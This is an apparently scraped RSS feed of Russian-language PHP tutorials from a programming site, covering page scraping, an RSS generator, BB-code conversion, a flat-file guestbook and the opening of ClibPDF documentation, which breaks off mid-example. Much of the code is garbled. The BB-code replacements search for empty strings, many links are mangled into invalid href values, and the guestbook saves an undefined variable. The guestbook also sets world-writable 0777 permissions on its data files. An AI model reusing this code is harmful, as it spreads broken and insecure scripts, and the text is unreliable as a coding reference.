Делаем почти тоже самое, но только для конца файла. Файл оказывается обрезан с начала и с конца так, как нам того хочется. Обращаю Ваше внимание, что в данном случае все оказалось очень просто, но иногда приходится применять другие метода для вырезки кода, так как нет столь четких границ. Но почти всегда можно что-то придумать. В результате этой обработки у нас уже есть почти все, что надо. В принципе можно было просто вывести все на экран, но есть один нюанс, который нужно учитывать. Это - ссылки. Они не абсолютные, а относительные. Хорошо хоть, их мало... А в таком случае проблема решается просто.<br />
<br />
Этап3.<br />
Берем, и заменяем то, что есть на то, что нам нужно. Например:<br />
$rf = str_replace (&quot;/catalog/&quot;,&quot;http://win.subscribe.ru/catalog/&quot;, $rf);<br />
Эта строчка кода позволяет нам заменить во всей строке $rf относительные ссылки на абсолютные. Точно так же поступаем со всеми остальными ссылками, которые встречаются в коде странички. Грубо, но точно...<br />
<br />
Этап4.<br />
Тут мы просто выводим результат на экран посетителю. А этот результат - нужный нам код HTML странички, который и будет отображен браузером. Если Вы хотите интегрировать этот код к себе, Вам скорее всего придется сделать еще одно - расправиться с таблицами, которые норовят по ширине вылезть из Вашего дизайна. Но тут уж подумайте сами. Ничего сложного нет - находит, что отвечает за размер страницы, и заменяем это на пустую строку.<br />
<br />
Результат - на экране. Если хотите посмотреть как это все работает в натуре, посетите страницу http://virtual.bresttelecom.by/komputer/ Там есть этот пример, а так же два других, но предлагаю посмотреть на них самим. На сегодня все.<br />
<br />
Приходит очень много вопросов по теме установки и настройки РНР и Apache. Честно говоря, я сам в этом деле не очень хорошо разбираюсь (в установке под Win), но зато могу посоветовать к кому обратиться. http://www.design-studios.ru/php/apache/ Этот сайт и его автор, надеюсь, смогут Вам помочь в нелегком деле настройки. Там выложены самые лучшие и подробные описания, много полезной информации по теме. Пользуйтесь...]]></description>
			<pubDate>Sat, 27 Apr 2013 19:15:46 +0300</pubDate>
			<link><![CDATA[http://shelek.com/view/web/494]]></link>
		</item>
		<item>
			<title>RSS генератор</title>
			<description><![CDATA[Что такое RSS? Если коротко, то это формат обмена контентом, базирующийся на XML. Любой интернет-ресурс, содержащий обновляемый или пополняемый контент, может заиметь у себя RSS ленту, и тогда пользователи этого ресурса получат быстрый и удобный способ получить свежие материалы. Кстати, показывать RSS в удобочитаемом виде может та же Opera, а вот IE выдаёт просто отформатированный XML файл.<br />
<br />
Итак, задача: написать простой генератор RSS ленты для сайта, содержащего часто пополняемый контент. Решение пишем на PHP. А вы как думали? :) Записи ленты будем хранить в отдельном файле, чтобы было легче выкидывать устаревшие. Кто это предложил «генерировать ленту динамически, выбирая самые свежие записи из MySQL»? Не прокатит, учитывая, что обращаться к базе данных и делать выборку нам придётся каждый раз при просмотре ленты пользователем. В нашем же варианте мы имеем простое кэширование, и регенерация RSS происходит лишь в момент добавления новой записи, причём вообще без обращения к базе.<br />
<br />
Схема проста: подгружаем файл с лентой, обрезаем старую запись, если их слишком много, и дописываем новую. Вот кусок кода, пояснения по ходу:<br />
<br />
$rss_header_file = &quot;rss/header.inc&quot;;<br />
$rss_content_file = &quot;rss/content.inc&quot;;<br />
$rss_footer_file = &quot;rss/footer.inc&quot;;<br />
$rss_document_file = &quot;rss/export.xml&quot;;<br />
$rss_temp_file = &quot;rss/tempfile&quot;;<br />
$rss_miss_lines = 8; // Количество строк в одной записи<br />
$rss_max_records = 10; // Максимальное количество записей в ленте<br />
<br />
// Загружаем содержимое<br />
$rss_content = file($rss_content_file);<br />
<br />
// Если записей больше чем нужно, выкидываем самую старую<br />
if (count($rss_content) &gt; $rss_miss_lines * $rss_max_records)<br />
$rss_content = array_slice($rss_content, $rss_miss_lines);<br />
<br />
// Добавляем свежую запись<br />
// В соответствующих переменных должны содержаться данные<br />
// При добавлении/удалении полей поправить $rss_miss_lines<br />
array_push(<br />
$rss_content,<br />
&quot;&lt;item&gt;\n&quot;,<br />
&quot;&lt;title&gt;&quot;.$author.&quot;&lt;/title&gt;\n&quot;,<br />
&quot;&lt;link&gt;&quot;.$link.&quot;&lt;/link&gt;\n&quot;,<br />
&quot;&lt;guid&gt;&quot;.$link.&quot;&lt;/guid&gt;\n&quot;,<br />
&quot;&lt;description&gt;&quot;.$message.&quot;&lt;/description&gt;\n&quot;,<br />
&quot;&lt;pubDate&gt;&quot;.date(&quot;r&quot;).&quot;&lt;/pubDate&gt;\n&quot;,<br />
&quot;&lt;author&gt;&quot;.$author.&quot;&lt;/author&gt;\n&quot;,<br />
&quot;&lt;/item&gt;\n&quot;<br />
);<br />
$fp = fopen($rss_content_file, &quot;w&quot;);<br />
foreach($rss_content as $rss_content_line) {<br />
if ($rss_content_line != &quot;\n&quot;)<br />
fwrite($fp, $rss_content_line);<br />
}<br />
fclose($fp);<br />
<br />
// Собираем ленту<br />
$rss_document = array_merge(<br />
file($rss_header_file),<br />
file($rss_content_file),<br />
file($rss_footer_file)<br />
);<br />
<br />
// Используем временный файл, чтобы не возникло конфликтов доступа<br />
$rnd = rand(0, 1000);<br />
$rss_temp_file = $rss_temp_file.$rnd;<br />
$fp = fopen($rss_temp_file, &quot;w&quot;);<br />
foreach($rss_document as $rss_document_line)<br />
fwrite($fp, $rss_document_line);<br />
fclose($fp);<br />
unlink($rss_document_file);<br />
rename($rss_temp_file, $rss_document_file);<br />
<br />
Все файлы для ленты находятся в папке rss. Полезно также положить туда индексный файл, переадресующий нас на export.xml. В файлах header.inc и footer.inc содержатся, соответственно, заголовок и, хм... завершитель ленты. Можно, конечно, было прописывать их в коде явно, но тогда теряется возможность править их без залезания в код. Да, и не забудьте отформатировать добавляемый текст должным образом, например, с помощью htmlspecialchars(nl2br()).]]></description>
			<pubDate>Sat, 27 Apr 2013 19:15:24 +0300</pubDate>
			<link><![CDATA[http://shelek.com/view/web/493]]></link>
		</item>
		<item>
			<title>BB-коды</title>
			<description><![CDATA[Сразу оговорюсь, что лучше сделать функцию, которая будет проверять текст на BB-коды и выдавать его пользователю. Т.е. лучше хранить данные на сервере с BB-кодами, чем с HTML. Хоть времени на выдачу документа будет тратится немного больше, зато вы в любое время сможете изменить стиль для того или иного BB-кода. И для этого не нужно будет перебирать и изменять все документы, а только одну строчку в коде.<br />
Для начала я Вас познакомлю с двумя функциями:<br />
<br />
str_replace()<br />
<br />
Синтаксис:<br />
<br />
string str_replace(string from, string to, string str)<br />
<br />
Функция str_replace() заменяет в исходной строке str одни подстроки на другие. Т.е. функция заменяет в строке str все вхождения подстроки from на to и возвращает результат. Эта функция может работать с двоичными строками.<br />
<br />
Функция, вообще говоря, нужная. К примеру, если Вы пишите что-то типа гостевой книги, форума, и хотите, чтобы в форме ввода для выделения теста можно было пользоваться стандартными тегами HTML, Вы можете с помощью этой функции заменить символы, которые Вы выбрали для форматирования на стандартные теги НТML.<br />
К примеру:<br />
<br />
$txt = str_replace(&quot;&quot;,&quot;&lt;B&gt;&quot;,$txt);<br />
<br />
Т.е. если Вы используете для отображения текста полужирным шрифтом символы &quot;&quot;, Вы должны их заменить на символ &quot;&lt;B&gt;&quot;, используемые в НТМL.<br />
<br />
preg_replace()<br />
<br />
Синтаксис:<br />
<br />
mixed preg_replace (mixed pattern, mixed replacement, mixed subject [,int limit])<br />
<br />
Эта функция ищет в строке subject соответствия регулярному выражению pattern, и заменяет их на replacement. Необязательного параметр limit задает число соответствий, которые надо заменить. Если этот параметр не указан, или равен -1, то заменяются все найденные соответствия.<br />
<br />
&lt;?<br />
$str = &quot;May 15, 2003&quot;;<br />
$pattern = &quot;/(\w+) (\d+), (\d+)/i&quot;;<br />
$replacement = &quot;1 \${1} \$3&quot;;<br />
print preg_replace($pattern, $replacement, $str);<br />
?&gt;<br />
<br />
Результат:<br />
<br />
1 May 2003<br />
<br />
Думаю с функцией str_replace() все понятно, поэтому мы можем сразу перейти к написанию первой части нашей программы:<br />
<br />
$text = str_replace(&quot;&quot;, &quot;&lt;b&gt;&quot;, $text);<br />
$text = str_replace(&quot;&quot;, &quot;&lt;/b&gt;&quot;, $text);<br />
<br />
$text = str_replace(&quot;&quot;, &quot;&lt;i&gt;&quot;, $text);<br />
$text = str_replace(&quot;&quot;, &quot;&lt;/i&gt;&quot;, $text);<br />
<br />
$text = str_replace(&quot;&quot;, &quot;&lt;u&gt;&quot;, $text);<br />
$text = str_replace(&quot;&quot;, &quot;&lt;/u&gt;&quot;, $text);<br />
...<br />
<br />
В выше приведенном коде мы заменяем BB-коды на их HTML эквиваленты. Все бы хорошо, да вот только BB-коды бывают и посложнее, например:<br />
<br />
color=#FF0000]Красный[/color]<br />
<br />
Чтобы перебрать все значения цветов (от #000000 до #FFFFFF), потребуется время, причем если делать эту проверку к каждому документу, то время загрузки документа быстро увеличивается. Как же тогда быть? Да очень просто, внимательнее вчитайтесь в эту функцию: “preg_replace()”.<br />
Кто незнаком с регулярными выражениями, советую прочитать об этом материал.<br />
<br />
$search[] = &quot;#\[color=\# ([a-f0-9]{6})\](.*?)\[/color\]#si&quot;;<br />
$search[] = &quot;#\[size=([1-6]{1})\](.*?)\[/size\]#si&quot;;<br />
<br />
$search[] = &quot;#\[email\]([a-z0-9\._-]{1,})+@([a-z0-9\._-]{1,})+\.([a-z]{2,4})\[/email\]#si&quot;;<br />
$search[] = &quot;#\[email=\” ([a-z0-9\”_-]{1,})+@([a-z0-9\”_-]{1,})+\”([a-z]{2,4})\”\](.*?)\[/email\]#si&quot;;<br />
...<br />
<br />
$replace[] = '&lt;font color=&quot;#\1&quot;&gt;\2&lt;/font&gt;';<br />
$replace[] = '&lt;font size=&quot;\1&quot;&gt;\2&lt;/font&gt;';<br />
<br />
$replace[] = '&lt;a href=http://shelek.com/&quot;mailto://\1@\2.\3&quot;&gt;\1@\2.\3&lt;/a&gt;';<br />
$replace[] = '&lt;a href=http://shelek.com/&quot;mailto:\1@\2.\3&quot;&gt;\4&lt;/a&gt;';<br />
...<br />
<br />
$text = preg_replace($search, $replace, $text);<br />
<br />
Разбираем выше написанный код. Создаем два массива $search и $replace. В первом записано регулярное выражение, которое ищется в тексте, а во втором на что нужно заменить соответственно.[/color][/size][/email]]]></description>
			<pubDate>Sat, 27 Apr 2013 19:15:03 +0300</pubDate>
			<link><![CDATA[http://shelek.com/view/web/492]]></link>
		</item>
		<item>
			<title>Гостевая книга на PHP</title>
			<description><![CDATA[Гостевая книга - один из полезных инструментов Web-мастера, позволяющий узнать мнение о своей работе, то есть о созданном сайте. Сейчас мы рассмотрим как написать гостевую книгу своими собственными руками (только драйвер &quot;прямые_руки.dll&quot; установите :) и поехали ...)<br />
<br />
Перейдем к алгоритму нашей гостевой книги. Пользователь открывает гостевую книгу и видит максимальное количество сообщений, которое задается Вами. На этой же странице находится форма для ввода сообщений. А внизу страницы мы сделаем страницы, чтобы пользователь смог просматривать предыдушие сообщения.<br />
<br />
После того, как пользователь ввел свои данные, текст сообщения и нажал на кнопку &quot;Отправить&quot;, скрипт записывыет эту информацию в начало файла, чтобы другие пользователи смогли видеть сообщения &quot;от последнего&quot;.<br />
<br />
В файл гостевой книги будем записывать следующую информацию:<br />
<br />
* Имя пользователя<br />
* Дату и время (администратор может устанавливать сам, по своему вкусу) отправки сообщения<br />
* Само сообщение<br />
* E-mail пользователя (при желании пользователя)<br />
* ICQ(при желании пользователя)<br />
* Дом. страницу (при желании пользователя)<br />
* IP пользователя (только для администратора)<br />
<br />
<br />
Итого: 7 полей. После каждого поля стоит спец. символом №01<br />
<br />
Так же при добавлении сообщения все поля будут проверятся на теги, чтобы увеличить безопастность нашей гостевой книги.<br />
<br />
Ниже приведен листинг формы для добавления сообщений, сохраните его на диске как файл с названием &quot;form.txt&quot;:<br />
<br />
&lt;script language=&quot;JavaScript&quot; type=&quot;text/javascript&quot;&gt;<br />
function checkForm() {<br />
<br />
formErrors = false;<br />
<br />
if (document.post.mes.value.length &lt; 2) {<br />
formErrors = &quot;Вы должны ввести текст сообщения&quot;;<br />
} else<br />
<br />
if (document.post.mes.value.length &gt; 1000) {<br />
var simbols = document.post.mes.value.length;<br />
formErrors = &quot;Вы должны ввести текст сообщения меньше 1000 символов, а у вас &quot; + simbols;<br />
} else<br />
<br />
if (document.post.user.value.length &gt; 20) {<br />
var simbols = document.post.user.value.length;<br />
formErrors = &quot;Вы должны ввести ваше имя меньше 20 символов, а у вас &quot; + simbols;<br />
} else<br />
<br />
if (document.post.user.value.length &lt; 3) {<br />
var simbols = document.post.user.value.length;<br />
formErrors = &quot;Вы должны ввести ваше имя больше 3 символов&quot;;<br />
}<br />
<br />
if (formErrors) {<br />
alert(formErrors);<br />
return false;<br />
} else {<br />
bbstyle(-1);<br />
//formObj.preview.disabled = true;<br />
//formObj.submit.disabled = true;<br />
return true;<br />
}<br />
}<br />
&lt;/script&gt;<br />
&lt;form action = &quot;index.php?action=addmes&quot; method=&quot;post&quot; name=&quot;post&quot; onsubmit=&quot;return checkForm(this)&quot; enctype=&quot;multipart/form-data&quot;&gt;<br />
&lt;table cellspacing=&quot;0&quot;&gt;<br />
&lt;tr&gt;&lt;td height=&quot;5&quot; style=&quot;border-top:1px solid #000000;&quot; colspan=&quot;2&quot;&gt;&lt;font size=&quot;1&quot;&gt;&amp;nbsp;&lt;/font&gt;&lt;/td&gt;&lt;/tr&gt;<br />
&lt;tr&gt;<br />
&lt;td width=&quot;250&quot;&gt;<br />
&lt;b&gt;&lt;font size=&quot;2&quot; color=&quot;#003333&quot;&gt;&lt;font color=&quot;DD0000&quot;&gt;*&lt;/font&gt;Ваше имя:&lt;/font&gt;&lt;/b&gt;<br />
&lt;/td&gt;<br />
&lt;td width=&quot;298&quot;&gt;<br />
&lt;font size=&quot;1&quot; face=&quot;Verdana&quot;&gt;<br />
&lt;input name=&quot;user&quot; value=&quot;&quot; style=&quot;width:298;&quot; maxlength=&quot;20&quot;&gt;&lt;/font&gt;&lt;b&gt;&lt;font size=&quot;2&quot;&gt;&lt;/input&gt;<br />
&lt;/font&gt;<br />
&lt;/b&gt;<br />
&lt;/td&gt;<br />
&lt;td width=&quot;2&quot;&gt;&lt;/td&gt;<br />
&lt;/tr&gt;<br />
&lt;tr&gt;<br />
&lt;td width=&quot;250&quot;&gt;<br />
&lt;b&gt;&lt;font size=&quot;2&quot; color=&quot;#003333&quot;&gt;Элекстронная почта:&lt;/font&gt;&lt;/b&gt;<br />
&lt;/td&gt;<br />
&lt;td width=&quot;298&quot;&gt;<br />
&lt;font size=&quot;1&quot; face=&quot;Verdana&quot;&gt;<br />
&lt;input name=&quot;mail&quot; value=&quot;&quot; style=&quot;width:298;&quot; maxlength=&quot;20&quot;&gt;&lt;/font&gt;&lt;b&gt;&lt;font size=&quot;2&quot;&gt;&lt;/input&gt;<br />
&lt;/font&gt;<br />
&lt;/b&gt;<br />
&lt;/td&gt;<br />
&lt;td width=&quot;2&quot;&gt;&lt;/td&gt;<br />
&lt;/tr&gt;<br />
&lt;tr&gt;<br />
&lt;td width=&quot;250&quot;&gt;<br />
&lt;b&gt;&lt;font size=&quot;2&quot; color=&quot;#003333&quot;&gt;Дом. страница:&lt;/font&gt;&lt;/b&gt;<br />
&lt;/td&gt;<br />
&lt;td width=&quot;298&quot;&gt;<br />
&lt;font size=&quot;1&quot; face=&quot;Verdana&quot;&gt;<br />
&lt;input name=&quot;homepage&quot; value=&quot;http://&quot; style=&quot;width:298;&quot; maxlength=&quot;30&quot;&gt;&lt;/font&gt;&lt;b&gt;&lt;font size=&quot;2&quot;&gt;&lt;/input&gt;<br />
&lt;/font&gt;<br />
&lt;/b&gt;<br />
&lt;/td&gt;<br />
&lt;td width=&quot;2&quot;&gt;&lt;/td&gt;<br />
&lt;/tr&gt;<br />
&lt;tr&gt;<br />
&lt;td width=&quot;250&quot;&gt;<br />
&lt;b&gt;&lt;font size=&quot;2&quot; color=&quot;#003333&quot;&gt;ICQ:&lt;/font&gt;&lt;/b&gt;<br />
&lt;/td&gt;<br />
&lt;td width=&quot;298&quot;&gt;<br />
&lt;font size=&quot;1&quot; face=&quot;Verdana&quot;&gt;<br />
&lt;input name=&quot;icq&quot; value=&quot;&quot; style=&quot;width:298;&quot; maxlength=&quot;12&quot;&gt;&lt;/font&gt;&lt;b&gt;&lt;font size=&quot;2&quot;&gt;&lt;/input&gt;<br />
&lt;/font&gt;<br />
&lt;/b&gt;<br />
&lt;/td&gt;<br />
&lt;td width=&quot;2&quot;&gt;&lt;/td&gt;<br />
&lt;/tr&gt;<br />
&lt;tr&gt;<br />
&lt;td width=&quot;550&quot; colspan=&quot;3&quot;&gt;<br />
&lt;b&gt;<br />
&lt;font size=&quot;2&quot; color=&quot;#003333&quot;&gt;&lt;font color=&quot;DD0000&quot;&gt;*&lt;/font&gt;Текст сообщения: (не больше 1000 символов)&lt;br&gt;<br />
&lt;/font&gt;&lt;/b&gt;&lt;font size=&quot;1&quot; face=&quot;Verdana&quot;&gt;<br />
&lt;textarea name=&quot;mes&quot; style=&quot;width:550;&quot; rows=&quot;6&quot;&gt;&lt;/textarea&gt;&lt;/font&gt;&lt;b&gt;&lt;font size=&quot;2&quot;&gt;&lt;br&gt;<br />
&lt;/font&gt;<br />
&lt;/b&gt;&lt;img alt=&quot;&quot; src=http://shelek.com/&quot;image/zero.gif&quot; height=&quot;2&quot; width=&quot;1&quot;&gt;&lt;br&gt;<br />
&lt;button type=&quot;submit&quot;&gt;&lt;font face=&quot;Verdana&quot;&gt;Отправить&lt;/font&gt;&lt;/button&gt;<br />
&lt;img alt=&quot;&quot; src=http://shelek.com/&quot;image/zero.gif&quot; height=&quot;1&quot; width=&quot;2&quot;&gt;<br />
&lt;button type=&quot;reset&quot;&gt;&lt;font face=&quot;Verdana&quot;&gt;Стереть&lt;/font&gt;&lt;/button&gt;<br />
&lt;/td&gt;<br />
&lt;td width=&quot;2&quot;&gt;&lt;/td&gt;<br />
&lt;/tr&gt;<br />
&lt;/table&gt;<br />
&lt;/form&gt;<br />
<br />
Ниже приведен листинг файла для вывода сообщений, сохраните его на диске как файл с названием &quot;tamples.txt&quot;:<br />
<br />
&lt;table cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; width=&quot;100%&quot;&gt;<br />
&lt;tr&gt;<br />
&lt;td bgcolor=&quot;#E4E4E4&quot; colspan=&quot;2&quot; height=&quot;20&quot;&gt;&lt;font style=&quot;font-size: 10pt;&quot;&gt;<br />
&amp;nbsp;&amp;nbsp;&lt;a href=http://shelek.com/&quot;mailto:&lt;?echo $email;?&gt;&quot;&gt;&lt;b&gt;&lt;?echo $nick;?&gt;&lt;/b&gt;&lt;/a&gt; - &lt;a href=http://shelek.com/&quot;&lt;?echo $homepage;?&gt;&quot;&gt;дом. страница&lt;/a&gt;&amp;nbsp;| icq: &lt;?echo $icq;?&gt;&amp;nbsp;| Дата: &lt;?echo $date;?&gt;&lt;/font&gt;<br />
&lt;/td&gt;<br />
&lt;/tr&gt;<br />
&lt;tr&gt;&lt;td width=&quot;5&quot;&gt;&lt;img alt=&quot;&quot; src=http://shelek.com/&quot;zero.gif&quot; width=&quot;5&quot; height=&quot;0&quot;&gt;&lt;/td&gt;&lt;td width=&quot;100%&quot;&gt;&lt;font size=&quot;-1&quot;&gt;&lt;?echo $text;?&gt;&lt;/font&gt;&lt;/td&gt;&lt;/tr&gt;<br />
&lt;/table&gt;&lt;br&gt;<br />
<br />
Ниже приведен листинг файла для ответа на добавленное сообщение, сохраните его на диске как файл с названием &quot;otvet.txt&quot;:<br />
<br />
&lt;html&gt;<br />
&lt;head&gt;<br />
&lt;title&gt;Подождите...&lt;/title&gt;<br />
&lt;meta http-equiv=&quot;refresh&quot; content=&quot;2; url=index.php&quot;&gt;<br />
&lt;style type=&quot;text/css&quot;&gt;<br />
html{<br />
overflow-x: auto;<br />
}<br />
<br />
body{<br />
background: #FFF;<br />
color: #222;<br />
font-family: Verdana, Tahoma, Arial, Trebuchet MS, Sans-Serif, Georgia, Courier, Times New Roman, Serif;<br />
font-size: 11px;<br />
line-height: 135%;<br />
margin: 0;<br />
padding: 0;<br />
text-align: center;<br />
}<br />
&lt;/style&gt;<br />
&lt;/head&gt;<br />
&lt;body&gt;<br />
&lt;div&gt;<br />
&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;<br />
&lt;p&gt;Спасибо...&lt;br&gt;<br />
За ваше сообщение&lt;br&gt;<br />
Нам важно каждое мнение&lt;/p&gt;<br />
&lt;p&gt;(&lt;a href=http://shelek.com/&quot;index.php&quot;&gt;Или нажмите сюда, если не хотите ждать&lt;/a&gt;)&lt;/p&gt;<br />
&lt;/div&gt;<br />
&lt;/body&gt;<br />
&lt;/html&gt;<br />
<br />
Ниже приведен листинг, сохраните его на диске как файл с названием &quot;index.php&quot;:<br />
<br />
&lt;?php<br />
<br />
Error_Reporting(E_ALL &amp; ~E_NOTICE);<br />
<br />
################ Информация для администратора ################<br />
$file_guest = &quot;guest.txt&quot;; // файл гостевой книги<br />
$kol_fields = 7; // количество полей для каждого сообщения<br />
// (nick, date, text, email, icq, homepage, IP)<br />
$max_mes_on_page = 20; // максимальное количество сообщений на страницу<br />
$tamples_file = &quot;tamples.txt&quot;; // файл для вывода сообщений<br />
$addform = &quot;form.txt&quot;; // форма для добавления сообщений<br />
$date_format = &quot;d.m.Y / H:i&quot;; // формат даты<br />
$otvet = &quot;otvet.txt&quot;; // файл для ответа на добавление сообщения<br />
################===============================################<br />
<br />
function strtosafe($str) // Защита данных то несанкционированного воздействия<br />
{<br />
$str = nl2br(htmlspecialchars($str)); // заменяем спец. символы на их эквиваленты<br />
$str = str_replace(&quot;#&quot;, &quot;&amp;#035;&quot;, $str);<br />
$str = str_replace('.', &quot;&amp;#046;&quot;, $str);<br />
<br />
$slashes = chr(92);<br />
$str = str_replace($slashes, &quot;&amp;#092;&quot;, $str);<br />
<br />
$slashes = chr(39);<br />
$str = str_replace($slashes, &quot;&amp;#39;&quot;, $str);<br />
return $str;<br />
}<br />
<br />
function file_write($COUNT_FILE, $text) // Перезаписывает файл<br />
{<br />
$f = @fopen($COUNT_FILE, &quot;w+&quot;); // открываем файл<br />
<br />
if ( @chmod(&quot;$COUNT_FILE&quot;, 0777) == false )<br />
@chmod(&quot;$COUNT_FILE&quot;, 0777); // выставляем права для файла<br />
<br />
@fwrite($f,$text); // записываем данные в файл<br />
@fclose($f); // закрываем файл<br />
return 0;<br />
}<br />
<br />
function file_read($COUNT_FILE) // Чтение из файла($file_name)<br />
{<br />
clearstatcache(); // очищаем кеш файла<br />
if (is_file($COUNT_FILE))<br />
{<br />
$f = @fopen($COUNT_FILE, &quot;r&quot;);<br />
<br />
if ( @chmod(&quot;$COUNT_FILE&quot;, 0777) == false )<br />
@chmod(&quot;$COUNT_FILE&quot;, 0777);<br />
<br />
$conts = @fread($f, @filesize($COUNT_FILE));<br />
@fclose($f);<br />
return $conts;<br />
} else return 0;<br />
}<br />
<br />
function fewrite($file_name, $text) // Делаем дозапись данных в файл($file_name)<br />
{<br />
if ( @chmod(&quot;$file_name&quot;, 0777) == false )<br />
@chmod(&quot;$file_name&quot;, 0777);<br />
<br />
$f = @fopen($file_name, &quot;a+&quot;);<br />
@flock($f, Lock_EX);<br />
@fwrite($f, $text);<br />
@flock($f, LOCK_UN);<br />
@fclose($f);<br />
return 0;<br />
}<br />
<br />
function fswrite($file_name, $text) // Делаем дозапись данных в начало файла($file_name)<br />
{<br />
$file_temp = $file_name . '.tmp'; // Резервный файл<br />
<br />
if (is_file($file_temp)) die(&quot;Не удалось записать информацию: в прошлый раз работа<br />
скрипта была прервана(сбой в системе).&lt;br&gt; Пожайлуста обратитесь к администратору&quot;);<br />
<br />
if ( @chmod(&quot;$file_name&quot;, 0777) == false )<br />
@chmod(&quot;$file_name&quot;, 0777);<br />
<br />
if (copy($file_name, $file_temp))<br />
{<br />
file_write($file_name, $text);<br />
fewrite($file_name, file_read($file_temp));<br />
@unlink($file_temp);<br />
} else return -1; // код ошибки (не удалось произвести копирование)<br />
return 0;<br />
}<br />
<br />
$action = $HTTP_GET_VARS[&quot;action&quot;]; // действие<br />
<br />
if ($action == 'addmes')<br />
{<br />
$nick = strtosafe($_POST['user']);<br />
$date = date($date_format);<br />
$text = strtosafe($_POST['mes']);<br />
$email = strtosafe($_POST['mail']);<br />
$icq = strtosafe($_POST['icq']);<br />
$homepage = strtosafe($_POST['homepage']);<br />
$IP = $_SERVER['REMOTE_ADDR'];<br />
<br />
if (!is_file($file_guest)) file_write($file_guest, &quot;&quot;); // если файла гостевой гниги не существет, тогда создаем пустой<br />
fswrite($file_guest, $user .&quot;\x01&quot;. $date .&quot;\x01&quot;. $text .&quot;\x01&quot;. $email .&quot;\x01&quot;. $icq .&quot;\x01&quot;. $homepage .&quot;\x01&quot;. $IP .&quot;\x01&quot;); // записываем информацию<br />
<br />
include($otvet); // вставляем ответ для пользователя по окончании добавления<br />
} else {<br />
<br />
$page = $HTTP_GET_VARS[&quot;page&quot;] - 1; // номер страницы<br />
if ($page &lt; 1) $page = 0;<br />
<br />
$cont = file_read($file_guest); // данные из файла<br />
$conts = explode(&quot;\x01&quot;, $cont); // записываем данные из фала в массив<br />
$all_mes = (count($conts)-1) / 7; // общее количество сообщений<br />
<br />
include($addform);<br />
<br />
for ($i = ($max_mes_on_page * $page); $i &lt; (($max_mes_on_page * $page) + $max_mes_on_page); $i++)<br />
{<br />
if ($i &gt;= $all_mes) break;<br />
<br />
$nick = $conts[$kol_fields*$i];<br />
$date = $conts[$kol_fields*$i + 1];<br />
$text = $conts[$kol_fields*$i + 2];<br />
$email = $conts[$kol_fields*$i + 3];<br />
$icq = $conts[$kol_fields*$i + 4];<br />
$homepage = $conts[$kol_fields*$i + 5];<br />
$ip = $conts[$kol_fields*$i + 6];<br />
<br />
include($tamples_file); // заготовка для вывода сообщений<br />
}<br />
<br />
echo &quot;Страницы: &quot;;<br />
for ($i = 1; $i &lt; ($all_mes / $max_mes_on_page + 1); $i++) // вывод страниц<br />
echo &quot;&lt;a href=http://shelek.com/\&quot;index.php?page=&quot;. $i .&quot;\&quot;&gt;&amp;nbsp;&quot;. $i .&quot;&amp;nbsp;&lt;/a&gt; &quot;;<br />
}<br />
?&gt;<br />
<br />
Я не стану объяснять код, т.к. уже подписал комментарии в нем.<br />
<br />
Этот код конечно же несовершенен, поэтому ненадо сильно критиковать. Я специально некоторые функции недоделал или несделал вообще (что бы Вы сами пошевелили своим сером веществом и заставили его думать :) ). Например осталось без внимания то, что здесь нет лимита на показ страниц, т.е. нужно выводить по 10 страниц и две стрелочки: на предыдущие 10 (если таковые имеются) и на следующие. Так же можно добавить ф-цию на проверку e-mail, icq и дом.страницу. Можно и BB-коды присобачить см. подробнее сдесь. Про администрирование я уже и неговорю, сами делайте как хотите<br />
<br />
Немного о защите данных:<br />
создайте в дериктории с файлом &quot;index.php&quot; файл &quot;.htaccess&quot;, и впищите в него следующую информацию:<br />
<br />
&lt;Files &quot;*.txt&quot;&gt;<br />
deny from all<br />
&lt;/Files&gt;<br />
DirectoryIndex index.php<br />
<br />
Это похволит вам скрыть все *.txt файлы и назначить главным файлом в дериктории &quot;index.php&quot;<br />
<br />
Вроде все сказал, все хорошо... да потребности у всех разные, кому-то этот скрипт подойдет, а кому-то и нет. Идею я вам дал, остальное делайте сами. Как говорится: &quot;На всех не угодишь&quot;.]]></description>
			<pubDate>Sat, 27 Apr 2013 19:14:39 +0300</pubDate>
			<link><![CDATA[http://shelek.com/view/web/491]]></link>
		</item>
		<item>
			<title>X. Функции ClibPDF</title>
			<description><![CDATA[Введение<br />
Библиотека ClibPDF даёт возможность создавать PDF-документы с помощью PHP. Её можно загрузить с FastIO, но необходимо приобрести лицензию для коммерческого использования. Функциональность и API ClibPDF аналогичны PDFlib.<br />
<br />
Этот документ необходимо читать вместе с учебником ClibPDF, поскольку там библиотека рассматривается более детально.<br />
<br />
Многие функции в модулях ClibPDF и PHP, а также в PDFlib, называются одинаково. Все функции, за исключением cpdf_open(), принимают в качестве первого параметра дескриптор документа.<br />
<br />
В настоящее время этот дескриптор не используется внутренне, поскольку ClibPDF не поддерживает одновременное создание нескольких PDF-документов. И даже не пытайтесь сделать это - результат будет непредсказуем. Невозможно предсказать, какие последствия этого могут быть во многопоточной среде. По соглашению с автором ClibPDF мы изменим это в одном из последующих релизов (на момент написания имелась версия 1.10). Если вам нужна эта функциональность, используйте модуль pdflib.<br />
<br />
Прекрасной возможностью ClibPDF (и PDFlib) является способность создавать pdf-документ полностью в памяти без использования временных файлов. Имеется также возможность передавать координаты в предопределённых единицах измерения. (Эта возможность симулируется также функцией pdf_translate() при использовании PDFlib -функций.)<br />
<br />
Другим важным свойством ClibPDF является то, что любая страница может быть модифицирована в любое время, даже если уже открыта новая страница. Функция cpdf_set_current_page() позволяет оставить текущую страницу и продолжить модификацию другой страницы.<br />
<br />
Большинство функций использовать довольно легко. Возможно, самое сложное - это создание самого простого PDF-документа. Следующий пример должен помочь вам начать. Он создаёт документ из одной страницы. Эта страница содержит текст &quot;Times-Roman&quot;, выведенный шрифтом в 30pt. Текст подчёркнут.<br />
<br />
Предопределённые константы<br />
Эти константы определены данным расширением и будут доступны только в том случае, если либо вкомпилированы в РНР, либо динамически загружены на этапе прогона.<br />
<br />
CPDF_PM_NONE (integer)<br />
CPDF_PM_OUTLINES (integer)<br />
CPDF_PM_THUMBS (integer)<br />
CPDF_PM_FULLSCREEN (integer)<br />
CPDF_PL_SINGLE (integer)<br />
CPDF_PL_1COLUMN (integer)<br />
CPDF_PL_2LCOLUMN (integer)<br />
CPDF_PL_2RCOLUMN (integer)<br />
Примеры<br />
Пример 1. Простой пример с использованием ClibPDF<br />
<br />
&lt;?php<br />
$cpdf = cpdf_open(0);<br />
cpdf_page_init($cpdf, 1, 0, 595, 842, 1.0);<br />
